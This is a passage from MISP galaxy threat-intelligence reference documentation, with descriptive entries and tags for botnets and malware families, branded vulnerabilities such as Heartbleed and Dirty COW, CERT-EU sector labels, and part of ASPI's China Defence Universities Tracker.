<td><a href="https://www.fortiguard.com/encyclopedia/botnet/7630462">https://www.fortiguard.com/encyclopedia/botnet/7630462</a></td>
<td></td>
</tr>
</tbody>
</table>

### Great Cannon

The Great Cannon of China is an Internet attack tool that is used by the Chinese government to launch distributed denial-of-service attacks on websites by performing a man-in-the-middle attack on large amounts of web traffic and injecting code which causes the end-user’s web browsers to flood traffic to targeted websites.[1] According to the researchers at the Citizen Lab, the
International Computer Science Institute, and Princeton University's Center for Information Technology Policy, who coined the term, the Great Cannon hijacks foreign web traffic intended for Chinese websites and re-purposes them to flood targeted web servers with enormous amounts of traffic in an attempt to disrupt their operations.

The tag is: `misp-galaxy:botnet="Great Cannon"`

Table 785. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Great_Cannon">https://en.wikipedia.org/wiki/Great_Cannon</a></td>
</tr>
</tbody>
</table>

**Hail Mary Cloud**

The Hail Mary Cloud was, or is, a password guessing botnet, which used a statistical equivalent to brute force password guessing. The botnet ran from possibly as early as 2005, and certainly from 2007 until 2012 and possibly later. The botnet was named and documented by Peter N. M. Hansteen. The principle is that a botnet can try several thousands of more likely passwords against thousands of hosts, rather than millions of passwords against one host. Since the attacks were widely distributed, the frequency on a given server was low and was unlikely to trigger alarms. Moreover, the attacks come from different members of the botnet, thus decreasing the effectiveness of both IP based detection and blocking.

The tag is: `misp-galaxy:botnet="Hail Mary Cloud"`

Table 786. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Hail_Mary_Cloud">https://en.wikipedia.org/wiki/Hail_Mary_Cloud</a></td>
</tr>
</tbody>
</table>

**Joker**

Joker is a trojan that is included in several unsuspecting apps that have been offered via the Google Play Store, among others. The malware silently interacts with ad networks to perform clicks on ad banners and subscribe to paid premium services. To do this, Joker is able to read SMS messages, contact lists and device information from the victim system. It collects data from infected systems, intercepts sensitive communications and transmits the information to a remote attacker.

The tag is: `misp-galaxy:botnet="Joker"`

Table 787. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
KBOT

KBOT penetrates users' computers via the Internet or a local network, or from infected external media. After the infected file is launched, the malware gains a foothold in the system, writing itself to Startup and the Task Scheduler, and then deploys web injects to try to steal the victim's bank and personal data. For the same purpose, KBOT can download additional stealer modules that harvest and send to the C&C server almost full information about the user: passwords/logins, cryptowallet data, lists of files and installed applications, and so on.

The tag is: misp-galaxy:botnet="KBOT"

Table 788. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Linux.Darlloz

Linux.Darlloz is a worm which infects Linux embedded systems. Linux.Darlloz was first discovered by Symantec in 2013.[3] Linux.Darlloz targets the Internet of things and infects routers, security cameras, set-top boxes by exploiting a PHP vulnerability. The worm was based on a Proof of concept code that was released in October 2013. Linux.Darlloz utilizes vulnerability (CVE-2012-1823) to exploit systems in order to compromise systems. Linux.Darlloz was later found in March 2014 to have started mining crypto currencies such as Mincoin and Dogecoin. Linux.Aidra, the malware that Linux.Darlloz attempts usurp - like some of the variants of Darlloz, Linux.Aidra targets smaller devices, specifically cable and DSL modems. The worm adds them to a botnet, which can be utilized by the attackers to perform DDoS attacks.

The tag is: misp-galaxy:botnet="Linux.Darlloz"

Table 789. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Marcher

Marcher is a banking trojan for Android devices. Researchers at Dutch security firm Securify have conducted a detailed analysis of the Android banking Trojan known as Marcher and discovered that a single botnet has managed to steal a significant number of payment cards. Securify has identified nine Marcher botnets over the last 6 months, and each of them has been provided with new modules and targeted web injects by the Trojan's creators.

The tag is: misp-galaxy:botnet="Marcher"
Matsnu

Matsnu is a malware downloader. The malware downloaded may include the banking trojans Citadel and URLZone/Bebloh. Matsnu can also be expanded with additional functions using plug-ins. One of these plug-ins is designed to capture access data for e-mail accounts and FTP programs and pass this information to the operator of the malware.

The tag is: `misp-galaxy:botnet="Matsnu"`

Methbot

Methbot was an advertising fraud scheme. Methbot was first tracked in 2015 by cybersecurity firm White Ops, and the botnet saw rapidly increased activity in 2016. The botnet originated in Russia (though it was not state sponsored), and utilized foreign computers and networks in Europe and North America. The infrastructure consisted of 571,904 dedicated IPs, 6,000 domains, and 250,267 distinct URLs, each of which could only house a video ad, and used variants of the names of famous publishers to fool those looking into the domains. This led the operators to game the system, leading ad selection algorithms to select these fake web pages over larger corporate pages from legitimate companies, and charge advertisers at a premium. About 570,000 bots were used to execute clicks on those websites, “watching” up to 300 million video ads a day while the bots mimicked normal computer user behavior. Estimated clicks per day generally reached between 200 and 300 million per day. The botnet relied on data servers instead of more traditional botnets that rely on infected PCs and mobile devices.

The tag is: `misp-galaxy:botnet="Methbot"`
**Metulji**

The Metulji botnet, discovered in June 2011, is a botnet mainly involved in cyberscamming and denial of service attacks. Before the botnet itself was dismantled, it consisted of over 12 million individual zombie computers infected with the Butterfly Bot, making it, as of June 2011, the largest known botnet. It is not known what type of computers are vulnerable, or how to tell if a computer is a part of this botnet.

The tag is: *misp-galaxy:botnet=*"*Metulji"*

*Table 793. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Metulji_botnet">https://en.wikipedia.org/wiki/Metulji_botnet</a></td>
<td></td>
</tr>
</tbody>
</table>

**Mevade**

The Mevade Botnet, also known as Sefnit or SBC, is a massive botnet. Its operators are unknown and its motives seems to be multi-purpose. In late 2013 the Tor anonymity network saw a very sudden and significant increase in users, from 800,000 daily to more than 5,000,000. A botnet was suspected and fingers pointed at Mevade. Trend Micro reported that its Smart Protection Network saw a tor module being distributed to Mevade Trojans.

The tag is: *misp-galaxy:botnet=*"*Mevade"*

Mevade is also known as:

- Sefnit
- SBC

*Table 794. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Mevade_Botnet">https://en.wikipedia.org/wiki/Mevade_Botnet</a></td>
<td></td>
</tr>
</tbody>
</table>

**MobiDash**

MobiDash is a piece of adware for Android devices. The user is shown advertisements without their consent. Mobidash can also make calls in the background.

The tag is: *misp-galaxy:botnet=*"*MobiDash"*

*Table 795. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Mutabaha

Mutabaha is a Trojan for Windows devices. Outfire, a Chromium-based browser, is downloaded and installed. This pretends to be the version of the Google Chrome browser. Mutabaha is able to drain data and manipulate advertisements. Mutabaha is downloaded and installed by another malware. As a rule, this dropper is removed after the malware has been installed, making it almost impossible to trace the infection.

The tag is: misp-galaxy:botnet="Mutabaha"

Table 796. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

MyDoom

MyDoom is a malicious program that opens a backdoor to the infected device. Through this backdoor the attacker can gain access to the system and carry out further actions. The attack possibilities are diverse and range from information theft to the reloading of additional malware. MyDoom adds infected computers to a botnet and then carries out distributed denial of service (DDoS) attacks. When the worm takes control over the victim’s OS, it then opens various ports and provides a backdoor to invite even more malware in.

The tag is: misp-galaxy:botnet="MyDoom"

Table 797. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nordvpn.com/blog/mydoom-virus/">https://nordvpn.com/blog/mydoom-virus/</a></td>
<td></td>
</tr>
</tbody>
</table>

Necurs

The Necurs botnet is a distributor of many pieces of malware, most notably Locky. Around June 1, 2016, the botnet went offline, perhaps due to a glitch in the command and control server running Necurs. However, three weeks later, Jon French from AppRiver discovered a spike in spam emails, signifying either a temporary spike in the botnet’s activity or return to its normal pre-June 1 state. In a 2020 report, it was noted to have particularly targeted India, Southeast Asia, Turkey and Mexico.

The tag is: misp-galaxy:botnet="Necurs"

Table 798. Table References
Nitol

The Nitol botnet mostly involved in spreading malware and distributed denial-of-service attacks. The Nitol Botnet was first discovered around December 2012, with analysis of the botnet indicating that the botnet is mostly prevalent in China where an estimate 85% of the infections are detected. In China the botnet was found to be present on systems that came brand-new from the factory, indicating the trojan was installed somewhere during the assembly and manufacturing process. According to Microsoft the systems at risk also contained a counterfeit installation of Microsoft Windows. On 10 September 2012 Microsoft took action against the Nitol Botnet by obtaining a court order and subsequently sinkholing the 3322.org domain. The 3322.org domain is a Dynamic DNS which was used by the botnet creators as a command and control infrastructure for controlling their botnet. Microsoft later settled with 3322.org operator Pen Yong, which allowed the latter to continue operating the domain on the condition that any subdomains linked to malware remain sinkholed.

The tag is: `misp-galaxy:botnet="Nitol"`

Nymaim

Nymaim was discovered in 2013. At that time it was only a dropper used to distribute TorrentLocker. In February 2016 it became popular again after incorporating leaked ISFB code, dubbed Goznym. When dropper obtains C&C address, it starts real communication. It downloads two important binaries and a lot more: payload – banker module (responsible for web injects – passive member of botnet); optional bot module (it is trying to open ports on a router and become an active part of a botnet. When it fails to do so, it removes itself from a system).

The tag is: `misp-galaxy:botnet="Nymaim"`

PBot

PBot is a P2P botnet derived from the Mirai source code. PBot performs MITB (man-in-the-browser) attacks and injects various scripts into legitimate websites. Its capabilities may go beyond simple injections of ads, depending on the intentions of its distributors.
The tag is: misp-galaxy:botnet="PBot"

PBot is also known as:

- PythonBot

Table 801. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.pbot">2</a></td>
</tr>
<tr>
<td><a href="https://www.bitdefender.com/blog/businessinsights/ddos-attacks-increase-28-as-pbot-authors-use-decades-old-php-code/">3</a></td>
</tr>
</tbody>
</table>

**Pirrit**

Pirrit is a potentially unwanted application (PUA) for Windows and MacOS devices. It displays additional pop-ups and advertisements when the device is used. Pirrit downloads other malicious programs from a server and runs these programs; it can also manipulate system files.

The tag is: misp-galaxy:botnet="Pirrit"

Table 802. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Pitou**

Pitou is a trojan for Windows devices. Its functions are to steal passwords and collect various pieces of information about the mobile phone, such as its location and contacts.

The tag is: misp-galaxy:botnet="Pitou"

Table 803. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Prometei**

Prometei is a cryptocurrency-mining botnet. Despite their activities being visible in logs, some botnets successfully fly under detection teams' radar, possibly due to their small size or constant development on the adversary's part. Prometei is just one of these types of networks that focuses on
Monero mining.

The tag is: misp-galaxy:botnet="Prometei"

**Table 804. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.talosintelligence.com/prometei-botnet-and-its-quest-for-monero/">https://blog.talosintelligence.com/prometei-botnet-and-its-quest-for-monero/</a></td>
</tr>
</tbody>
</table>

**PrizeRAT**

PrizeRAT is a trojan for Android devices. Its functions include unauthorised user tracking, stealing passwords and the silent installation of additional applications without the user’s permission. As the malware is part of the firmware of the device, it is not generally recognised by anti-virus solutions for Android. The risk affects a limited group of mobile end devices made by Chinese manufacturers for the low-price segment.

The tag is: misp-galaxy:botnet="PrizeRAT"

**Table 805. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Pushlran**

Pushlran is a potentially unwanted application (PUA) for Android devices. It displays additional pop-ups and advertisements when the device is used. The app collects data from infected systems, intercepts sensitive communication and passes this information to a remote attacker.

The tag is: misp-galaxy:botnet="Pushlran"

**Table 806. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Pykspa**

Pykspa is a piece of malware that can be used to remotely control infected systems. It also enables attackers to download other malware or extract personal data. There are a number of versions of this malware and it has been developed over a long period of time. Some of the most recent versions of Pykspa are able to deactivate security systems such as anti-virus programs.
**Qsnatch**

Qsnatch is a trojan for Linux devices that primarily attacks network drives manufactured by QNAP. Its functions include stealing access data and opening backdoors to infected devices. Through this backdoor, the attacker can gain access to the system and perform other actions. The malware is capable of a wide range of attack types, from information theft to downloading other malware.

**Remaiten**

Remaiten is malware which infects Linux on embedded systems by brute forcing using frequently used default username and passwords combinations from a list in order to infect a system. Remaiten combines the features of the Tsunami and LizardStresser (aka Torlus) malware families. The command and control for Remaiten are handled by IRC communications. Additionally the command and control is done by an actual IRC channel rather than only the IRC protocol. This is an improvement over bots such as Tsunami and Torlus making Remaiten a greater threat than both combined. To avoid detection, Remaiten tries to determine the platform of a device to download the architecture-appropriate component from the command & control server. Once Remaiten infects a device it is able to perform actions such as launching distributed denial of service attacks or download more malware on a device.[5] Remaiten is able to scan and remove competing bots on a system compromised by it.
Retadup

Retadup is a worm affecting Windows machines primarily throughout Latin America. Its objective is to achieve persistence on its victims’ computers, to spread itself far and wide and to install additional malware payloads on infected machines. In the vast majority of cases, the installed payload is a piece of malware mining cryptocurrency on the malware authors’ behalf. The French law enforcement agency, National Gendarmerie, in 2019 announced the successful takedown of one of the largest wide-spread RETADUP botnet malware and how it remotely disinfected more than 850,000 computers worldwide with the help of researchers.

The tag is: misp-galaxy:botnet="Retadup"

Table 810. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/">https://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/</a></td>
</tr>
</tbody>
</table>

RootSTV

RootSTV is a trojan and downloader for Android devices, mainly SmartTVs. RootSTV downloads additional malicious programs from a server and executes them without the user's consent.

The tag is: misp-galaxy:botnet="RootSTV"

Table 811. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Rovnix

Rovnix is a data-stealing trojan that spreads by email and infects Windows PCs. Initial versions of the malware featured the extraction of data from compromised machines using unencrypted comms but more recently this has evolved to feature encryption during broadcast. The malware spread via e-mails infected with the Andromeda downloader. The infected attachment gets executed by an unwary user and this in turn downloads and runs Rovnix. The whole attack is designed to steal financial information, mainly credit card numbers. A new cluster of infections by the Rovnix Trojan has infected more than 130,000 Windows computers in the UK alone.

The tag is: misp-galaxy:botnet="Rovnix"

Table 812. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Slenfbot

Slenfbot was first discovered in 2007 and, since then, numerous variants have followed; each with slightly different characteristics and new additions to the worm’s payload, such as the ability to provide the attacker with unauthorized access to the compromised host. Slenfbot primarily spreads by luring users to follow links to websites, which contain a malicious payload. Slenfbot propagates via instant messaging applications, removable drives and/or the local network via network shares. The code for Slenfbot appears to be closely managed, which may provide attribution to a single group and/or indicate that a large portion of the code is shared amongst multiple groups. The inclusion of other malware families and variants as well as its own continuous evolution, makes Slenfbot a highly effective downloader with a propensity to cause even more damage to compromised systems.

The tag is: misp-galaxy:botnet="Slenfbot"

Table 813. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Slenfbot">https://en.wikipedia.org/wiki/Slenfbot</a></td>
</tr>
</tbody>
</table>

Stacheldraht

Stacheldraht is malware which performs a distributed denial-of-service (DDoS) attack. Stacheldraht uses a number of different denial-of-service (DoS) attack methods, including Ping flood, UDP flood, TCP SYN flood, and Smurf attack. Further, it can detect and automatically enable source address forgery. Adding encryption, it combines features of Trinoo and of Tribe Flood Network. The software runs on both Linux and Solaris.

The tag is: misp-galaxy:botnet="Stacheldraht"

Table 814. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Stacheldraht">https://en.wikipedia.org/wiki/Stacheldraht</a></td>
</tr>
</tbody>
</table>

Suppobox

Suppobox is a trojan that intercepts any network traffic connected with a monetary transaction when users buy or sell products online. The malware focuses on auction websites.

The tag is: misp-galaxy:botnet="Suppobox"

Suppobox is also known as:

- Bayrob
- Nivdort
**Triada**

Triada is a trojan for Android devices. Triada’s primary function is to record text messages. For example, it intercepts in-app purchases via text message and redirects payments made. Triada downloads other malware from a server and runs these programs.

The tag is: `misp-galaxy:botnet="Triada"`

Triada is also known as:

- APK. Triada

**Trinoo**

Trinoo is a set of computer programs to conduct a DDoS attack. It is believed that trinoo networks have been set up on thousands of systems on the Internet that have been compromised by remote buffer overrun exploits.

The tag is: `misp-galaxy:botnet="Trinoo"`

Trinoo is also known as:

- trin00

**Zemra**

Zemra is a DDoS Bot which was first discovered in underground forums in May 2012. Zemra is capable of HTTP and SYN Flood flooding and also has a simple Command & Control panel that is protected with 256-bit DES encryption for communicating with its command and control (C&C) server. Zemra also sends information such as Computer name, Language settings, and Windows
version. It will send this data to a remote location on a specific date and time. It also opens a backdoor on TCP port 7710 to receive commands from a remote command-and-control server, and it is able to monitor devices, collect system information, execute files, and even update or uninstall itself if necessary.

The tag is: `misp-galaxy:botnet="Zemra"

### Ztorg

Ztorg is a trojan for Android devices. Its functions include unauthorised user tracking, stealing passwords, the silent installation of additional applications without the user’s permission, and the collection of data on the mobile phone, such as its location and contacts. Ztorg is a piece of malware that opens a backdoor to an infected device. Through this backdoor, the attacker can gain access to the system and perform other actions. The malware is capable of a wide range of attack types, from information theft to downloading other malware.

The tag is: `misp-galaxy:botnet="Ztorg"

### Branded Vulnerability

List of known vulnerabilities and attacks with a branding.

<table>
<thead>
<tr>
<th>Branded Vulnerability is a cluster galaxy available in JSON format at this location</th>
<th>The JSON format can be freely reused in your application or automatically enabled in MISP.</th>
</tr>
</thead>
</table>

**authors**

Unknown

### Meltdown

Meltdown exploits the out-of-order execution feature of modern processors, allowing user-level programs to access kernel memory using processor caches as covert side channels. This is specific to the way out-of-order execution is implemented in the processors. This vulnerability has been assigned CVE-2017-5754.
Spectre

Spectre exploits the speculative execution feature that is present in almost all processors in existence today. Two variants of Spectre are known and seem to depend on what is used to influence erroneous speculative execution. The first variant triggers speculative execution by performing a bounds check bypass and has been assigned CVE-2017-5753. The second variant uses branch target injection for the same effect and has been assigned CVE-2017-5715.

Heartbleed

Heartbleed is a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014. Heartbleed may be exploited regardless of whether the vulnerable OpenSSL instance is running as a TLS server or client. It results from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension, thus the bug’s name derives from heartbeat. The vulnerability is classified as a buffer over-read, a situation where more data can be read than should be allowed.

Shellshock

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

Ghost

The GHOST vulnerability is a serious weakness in the Linux glibc library. It allows attackers to remotely take complete control of the victim system without having any prior knowledge of system credentials. CVE-2015-0235 has been assigned to this issue. During a code audit Qualys researchers discovered a buffer overflow in the __nss_hostname_digits_dots() function of glibc. This bug can be triggered both locally and remotely via all the gethostbyname*() functions. Applications have access to the DNS resolver primarily through the gethostbyname*() set of functions. These functions convert a hostname into an IP address.
Stagefright

Stagefright is the name given to a group of software bugs that affect versions 2.2 ("Froyo") and newer of the Android operating system. The name is taken from the affected library, which among other things, is used to unpack MMS messages. Exploitation of the bug allows an attacker to perform arbitrary operations on the victim's device through remote code execution and privilege escalation. Security researchers demonstrate the bugs with a proof of concept that sends specially crafted MMS messages to the victim device and in most cases requires no end-user actions upon message reception to succeed—the user doesn't have to do anything to ‘accept’ the bug, it happens in the background. The phone number is the only target information.

The tag is: `misp-galaxy:branded-vulnerability="Stagefright"`

Badlock

Badlock is a security bug disclosed on April 12, 2016 affecting the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) remote protocols[1] supported by Windows and Samba servers.

The tag is: `misp-galaxy:branded-vulnerability="Badlock"`

Dirty COW

Dirty COW (Dirty copy-on-write) is a computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android. It is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel's memory-management subsystem. The vulnerability was discovered by Phil Oester. Because of the race condition, with the right timing, a local attacker can exploit the copy-on-write mechanism to turn a read-only mapping of a file into a writable mapping. Although it is a local privilege escalation, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer. The attack itself does not leave traces in the system log.

The tag is: `misp-galaxy:branded-vulnerability="Dirty COW"`

POODLE

The POODLE attack (which stands for “Padding Oracle On Downgraded Legacy Encryption”) is a man-in-the-middle exploit which takes advantage of Internet and security software clients’ fallback to SSL 3.0. If attackers successfully exploit this vulnerability, on average, they only need to make 256 SSL 3.0 requests to reveal one byte of encrypted messages. Bodo Möller, Thai Duong and Krzysztof Kotowicz from the Google Security Team discovered this vulnerability; they disclosed the vulnerability publicly on October 14, 2014 (despite the paper being dated "September 2014"). Ivan Ristic does not consider the POODLE attack as serious as the Heartbleed and Shellshock attacks. On December 8, 2014 a variation of the POODLE vulnerability that affected TLS was announced.

The tag is: `misp-galaxy:branded-vulnerability="POODLE"`
BadUSB

The ‘BadUSB’ vulnerability exploits unprotected firmware in order to deliver malicious code to computers and networks. This is achieved by reverse-engineering the device and reprogramming it. As the reprogrammed firmware is not monitored or assessed by modern security software, this attack method is extremely difficult for antivirus/security software to detect and prevent.

The tag is: `misp-galaxy:branded-vulnerability="BadUSB"`

ImageTragick

The tag is: `misp-galaxy:branded-vulnerability="ImageTragick"`

Blacknurse

Blacknurse is a low bandwidth DDoS attack involving ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016. The earliest samples we have seen supporting this DDoS method are from September 2017.

The tag is: `misp-galaxy:branded-vulnerability="Blacknurse"`

SPOILER

SPOILER is a security vulnerability on modern computer central processing units that uses speculative execution to improve the efficiency of Rowhammer and other related memory and cache attacks. According to reports, all modern Intel CPUs are vulnerable to the attack. AMD has stated that its processors are not vulnerable.

The tag is: `misp-galaxy:branded-vulnerability="SPOILER"`

Table 820. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://appleinsider.com/articles/19/03/05/new-spoiler-vulnerability-in-all-intel-core-processors-exposed-by-researchers">https://appleinsider.com/articles/19/03/05/new-spoiler-vulnerability-in-all-intel-core-processors-exposed-by-researchers</a></td>
</tr>
</tbody>
</table>
BlueKeep

A ‘wormable’ critical Remote Code Execution (RCE) vulnerability in Remote Desktop Services that could soon become the new go-to vector for spreading malware

The tag is: `misp-galaxy:branded-vulnerability="BlueKeep"`

<table>
<thead>
<tr>
<th>Table 821. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/05/22/patch-now-bluekeep-vulnerability/">https://www.welivesecurity.com/2019/05/22/patch-now-bluekeep-vulnerability/</a></td>
</tr>
</tbody>
</table>

Cert EU GovSector

Cert EU GovSector.

Cert EU GovSector is a cluster galaxy available in JSON format at this [location](https://www.welivesecurity.com/2019/05/22/patch-now-bluekeep-vulnerability/) The JSON format can be freely reused in your application or automatically enabled in [MISP](https://www.welivesecurity.com/2019/05/22/patch-now-bluekeep-vulnerability/).

authors

Various

Constituency

The tag is: `misp-galaxy:cert-eu-govsector="Constituency"`

EU-Centric

The tag is: `misp-galaxy:cert-eu-govsector="EU-Centric"`

EU-nearby

The tag is: `misp-galaxy:cert-eu-govsector="EU-nearby"`

World-class

The tag is: `misp-galaxy:cert-eu-govsector="World-class"`

Unknown

The tag is: `misp-galaxy:cert-eu-govsector="Unknown"`
Outside World

The tag is: misp-galaxy:cert-eu-govsector="Outside World"

China Defence Universities Tracker

The China Defence Universities Tracker is a database of Chinese institutions engaged in military or security-related science and technology research. It was created by ASPI's International Cyber Policy Centre.

China Defence Universities Tracker is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Australian Strategic Policy Institute

Academy of Military Science (中国人民解放军军事科学院)

AMS is responsible for leading and coordinating military science for the whole military. AMS is involved in not only the development of theory, strategy, and doctrine but also advancing national defense innovation. Pursuant to the PLA reforms, AMS has undergone dramatic changes starting in June 2017. At a July 2017 ceremony marking the AMS's reorganisation, Xi urged the AMS to construct a 'world-class military scientific research institution.' Through the National Defence Science and Technology Innovation Institute, the AMS is pursuing research in cutting-edge technologies including unmanned systems, artificial intelligence, biotechnology and quantum technology.

The tag is: misp-galaxy:china-defence-universities="Academy of Military Science (中国人民解放军军事科学院)"

Table 822. Table References

Links


Aero Engine Corporation of China (中国航空发动机集团有限公司)

AECC is a leading producer of aircraft parts for the People's Liberation Army (PLA), having separated from its parent company the Aviation Industry Corporation of China (AVIC) in 2016. The company reports having 27 affiliated or subordinate companies, three major listed companies, and 84,000 staff. AVIC and the Commercial Aircraft Corporation of China (also known as COMAC) are major shareholders in AECC AECC's main products include aircraft engines, combustion gas turbines, and transmission systems. AECC also develops aircraft power units, helicopter drive systems, monocrystalline blades, turbine disks, and graphene AECC was established in order to improve China's capability in developing domestically built aircraft engines as part of the 'Made in China 2025' program. A priority is strengthening its supply chains within China. Though
indigenously developed engines have proven challenging for AECC, the company had purported success in providing thrust vector control technology for the J-10B fighter jet.

The tag is:  

misp-galaxy:china-defence-universities="Aero Engine Corporation of China (中国航空发动机集团有限公司)"

Table 823. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Air Force Command College (中国人民解放军空军指挥学院)**

The PLA Air Force Command College in Beijing is considered the PLA Air Force's 'peak institution for educating mid-rank and senior officers' for command posts across the service. The college has a long history and was initially established in Nanjing during the early years of the People's Republic in 1958. The Air Force Command College offers a range of degree programmes, mainly at the postgraduate level, including training in military disciplines such as military history, strategy, and tactics. It has published research on control science and radar. The college's other specialties include battlefield command, military operations as well as political–ideological education.

The tag is:  

misp-galaxy:china-defence-universities="Air Force Command College (中国人民解放军空军指挥学院)"

Table 824. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Air Force Communication NCO Academy (中国人民解放军空军通信士官学校)**

The Air Force Communications Officers Academy is the PLA's premier institution for the training of non-commissioned officers in communications systems and security. Established in 1986 as the Dalian Communications NCO College, the institution was renamed after Xi Jinping's military reforms in 2017. The academy's areas of research include command automation and satellite communications, along with wired and wireless communications.

The tag is:  

misp-galaxy:china-defence-universities="Air Force Communication NCO Academy (中国人民解放军空军通信士官学校)"

Table 825. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Air Force Early Warning Academy (中国人民解放军空军预警学院)**

The Air Force Early Warning Academy is ‘an institution that trains military personnel from the PLA Air Force and Navy’s radar and electronic warfare units in command, engineering and technology’ that was established after the amalgamation of the Air Defence Academy and Radar College in 1958. As such, the Air Force Early Warning Academy focuses its research on radar engineering, information command systems engineering, networked command engineering, and early warning detection systems.

The tag is: `misp-galaxy:china-defence-universities="Air Force Early Warning Academy (中国人民解放军空军预警学院)"`

**Table 826. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Air Force Engineering University (中国人民解放军空军工程大学)**

The Air Force Engineering University (AFEU) is one of the PLA’s five comprehensive universities alongside NUDT, Naval Engineering University, PLA Information Engineering University and Army Engineering University. It trains students in a variety of engineering and military disciplines related to air combat. AFEU currently has around 8,000 students, including 1,600 postgraduate students. Its priority areas include technical studies in information and communication systems engineering as well as in social sciences such as in professional military training. Research into unmanned aerial vehicle technology is another important area of research at the university. In 2017, China’s Ministry of Education ranked AFEU equal fourth for armament science out of nine universities, only awarding it a B- grade for the discipline. Colleges under AFEU include:

The tag is: `misp-galaxy:china-defence-universities="Air Force Engineering University (中国人民解放军空军工程大学)"`

**Table 827. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Air Force Flight Academy Shijiazhuang (空军石家庄飞行学院)**

Air Force Flight Academy Shijiazhuang (空军石家庄飞行学院)

The tag is: `misp-galaxy:china-defence-universities="Air Force Flight Academy Shijiazhuang (空军石家庄飞行学院)"`

**Table 828. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Air Force Harbin Flight Academy (空军哈尔滨飞行学院)**

The Academy is home to the Air Force Harbin Flight Academy Simulation Training Center, 2,500m² large-scale aircraft simulator where students can train in simulated transport and bomber aircraft. The Academy hopes to continue developing the Simulation Training Center into a ‘laboratory for air operations,’ including advanced trainings like simulated tactical confrontations.

The tag is: `misp-galaxy:china-defence-universities="Air Force Harbin Flight Academy (空军哈尔滨飞行学院)"`

---

**Air Force Logistics University (中国人民解放军空军后勤学院)**

The Air Force Logistics University is an institution devoted to the study of command, management and technology for the PLA, established in Shanxi by the Central Military Commission in 1954. The university focuses its research on ‘management engineering’ for military equipment such as weaponry and aircraft fuel and also maintains research programmes on air battle command and personnel management.

The tag is: `misp-galaxy:china-defence-universities="Air Force Logistics University (中国人民解放军空军后勤学院)"`

---

**Air Force Medical University (中国人民解放军空军军医大学)**

The Air Force Medical University, also known as the Fourth Military Medical University, is the PLA’s premier institution for research into medical and psychological sciences, having been placed under command of the Air Force after Xi Jinping’s military reforms in 2017. Its major areas of study are medical and psychological sciences tailored for personnel engaging in air and space operations, military preventative medicine and various other forms of clinical research. The Air Force Medical University conducts significant amounts of psychological research. Scientists from the Air Force Medical University have written studies on suicide, mental health across China, and mental health in military universities. The university’s scientists have also looked at the extent to which mindfulness training can reduce anxiety for undergraduates at military universities, and at how fear induced by virtual combat scenarios impacts decision-making. This indicates that the university is interested in issues of troop morale and decision-making in high-stress situations.

